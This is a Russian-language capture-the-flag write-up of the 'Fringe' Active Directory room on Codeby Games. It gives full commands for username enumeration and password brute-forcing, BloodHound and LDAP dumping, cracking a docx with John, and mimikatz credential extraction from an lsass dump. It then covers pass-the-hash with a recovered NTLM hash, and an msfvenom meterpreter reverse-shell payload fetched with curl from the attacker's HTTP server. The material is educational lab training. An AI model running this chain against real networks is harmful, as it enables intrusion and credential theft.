Active Directory | Fringe
Вступление
Всем привет! Сегодня предлагаю вам ознакомиться с логическим продолжением статьи про базовый инструментарий для атак на инфраструктуру.
Будем препарировать комнату Fringe с платформы Codeby Games: пробежимся по тому, на что стоит обратить внимание при сканировании и применим практике многочисленные инструменты из предыдущей статьи. Учтите, что не каждый из проделанных далее шагов является обязательным для выполнения задания. Цель статьи – показать функционал перечисленных утилит на практике.
Сканирование
В задании нам дан IP-адрес и первым делом мы отправляем его на сканирование:
nmap -sC -sV 192.168.2.6 -oN init
Флаги -sC и -sV служат для определения сервисов и их версий на порту, флаг -oN позволяет записать результаты сканирования в файл init на случай, если они пригодятся нам далее. По итогам сканирования видим следующую картину:
Здесь мы видим стандартный набор портов доменного контроллера – DNS, Kerberos, LDAP и так далее. Из нестандартных портов видим порт 5357 – HTTPAPI, однако ничего интересного там нет:
Забегая немного наперед: во всех задачах этой категории на данной платформе дается адрес доменного контроллера, в реальной инфраструктуре точка входа выглядит немного иначе – сканируется вся подсеть на предмет наличия поднятых хостов, после чего работа ведется со всеми найденными.
Получение первоначального доступа
Итак, что дальше? Попробуем подобрать имя учетной записи при помощи kerbrute userenum:
kerbrute userenum -d codeby.cdb --dc 192.168.2.6 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt
Находим парочку валидных юзеров, среди которых есть ekaterina:
Далее можем попытать удачу и подобрать пароль к пользователю ekaterina, используя kerbrute bruteuser:
kerbrute bruteuser --dc 192.168.2.6 -d codeby.cdb /usr/share/wordlists/rockyou.txt ekaterina
crackmapexec smb 192.168.2.6 -u 'ekaterina' -p /usr/share/wordlists/rockyou.txt
В итоге находим валидный пароль:
Проверить валидность найденного пароля так же можно через crackmapexec:
crackmapexec smb 192.168.2.6 -u 'ekaterina' -p 'ekaterina'
Внутренняя разведка
Имея валидные креды, можем сдампить информацию о домене для дальнейшего изучения, используя харвестер bloodhound-python:
bloodhound-python -u "ekaterina" -p "ekaterina" -d codeby.cdb -c ALL -ns 192.168.2.6 -k --zip
В ходе анализа дампа можем ознакомиться с представлением компонентов домена в графовом виде:
Либо воспользоваться утилитой ldapdomaindump:
ldapdomaindump -u 'CODEBY.CDB\ekaterina' -p 'ekaterina' 192.168.2.6
Она так же позволяет собрать информацию о пользователях, группах и политиках и представить ее в удобном для чтения или обработки формате – json, txt, html:
Можем запросить TGT для пользователя при помощи impacket-getTGT. Тикет в последствии можно использовать для реализации pass-the-ticket (атака, при которой атакующий крадет TGT-тикет и использует его для авторизации) :
impacket-getTGT -dc-ip 192.168.2.6 CODEBY.CDB/ekaterina:ekaterina
Горизонтальное перемещение
В результате сканирования хоста был обнаружен порт 445 – SMB, на котором могут располагаться так называемые шары – публичные директории. Можем попробовать проверить шару, используя найденные креды:
smbclient -L //192.168.2.6/ -U 'ekaterina' --password='ekaterina'
Подключаемся к персональному хранилищу пользователя
smbclient //192.168.2.6/Ekaterina/ -U 'ekaterina' --password='ekaterina'
Ставим пару флагов и скачиваем себе содержимое шары:
Изучая сказанные файлы, находим запароленный docx:
Но для нас это не проблема – воспользуемся John the Ripper:
office2john confidental.docx > hash && john hash --wordlist=rockyou.txt
В файле видим записку для пользователя Alexey Gusev (юзера с таким именем мы видели в bloodhound и в выхлопе ldapdomaindump) :
Проверим валидность пароля при помощи crackmapexec:
Подключение к системе под найденными учетными данными выполняется посредством утилиты evil-winrm:
evil-winrm -u 'CODEBY.CDB\a.gusev' -p 'Nica5639' -i 192.168.2.6
Вертикальное перемещение
Как правило, повышение привилегий сводится к поиску нестандартных файлов и мисконфигов, и текущая задачка – не исключение.
В ходе изучения домашней директории пользователя было обнаружено следующее:
Справка: lsass – Служба подсистемы локального центра безопасности. Это процесс отвечающий за авторизацию локальных пользователей компьютера.
Уже знакомым методом при помощи upload грузим на атакуемую машину mimikatz – приложение, позволяющее извлекать пароли в виде простого текста, хеши, ПИН коды и билеты kerberos из памяти процессов, в нашем случае из дампа lsass.
Запускаем mimikatz с нужными параметрами:
mimik.exe "sekurlsa::minidump C:\Users\a.gusev\AppData\Local\Microsoft\Windows\lsass.dmp" "sekurlsa::logonPasswords" "exit"
В выводе мимикатза видим хеши пользователей, среди которых есть NTLM-хеш пользователя exited3n – администратора машины.
Имея хеш администратора, можем попытаться взломать его и получить пароль, а можем реализовать атаку pass-the-hash (вид атаки, позволяющий атакующему при помощи хеша авторизоваться на сервисе, использующем NTLM/LM аутентификацию) :
evil-winrm -u 'CODEBY\exited3n' -H a5ef83f38e52d6ed67e8d900302d5374 -i 192.168.2.6
В результате атаки PtH попадаем в систему.
И, прописав whoami /priv, видим, что получили доменного админа:
Бонус:
Предположим, что мы получили доступ к системе путем эксплуатации уязвимости и получения реверс-шелла, а не при помощи найденной учетной записи. В таком случае шелл будет не особо функциональным, поэтому предлагаю ознакомиться с одной из функций фреймворка metasploit – meterpreter шеллом.
Первым делом скрафтим полезную нагрузку:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.103.233 LPORT=1234 -f exe -o reverse.exe
Загрузим его на атакуемую машину, подняв у себя http-сервер:
curl http://192.168.103.233:4321/meterpreter.exe -o meter.exe
Воспользуемся модулем multi/handler и проверим его опции:
Задаем нужные параметры – указываем то, что использовали при крафте, и далее прописываем exploit:
msf6 exploit(multi/handler) > set LHOST 192.168.103.233 LHOST => 192.168.103.233 msf6 exploit(multi/handler) > set LPORT 1234 LPORT => 1234 msf6 exploit(multi/handler) > exploit
Возвращаемся на атакуемую машину, запускаем meterpreter.exe и проверяем консоль msf – получили сессию:
Теперь, используя функционал meterpreter шелла мы можем переключаться между разными сессиями, напрямую загружать файлы на атакуемую машину и скачивать с атакуемой
Еще один пример использования metasploit был приведен в разборе комнаты Airplane
Заключение
Вот мы и рассмотрели на практике некоторые инструменты из прошлой статьи. В контексте ВСКБ, опять же, важно учитывать, что вам предстоит работать с целой сетью хостов, а не с одним лишь контроллером домена, однако инструментарий остается все тем же.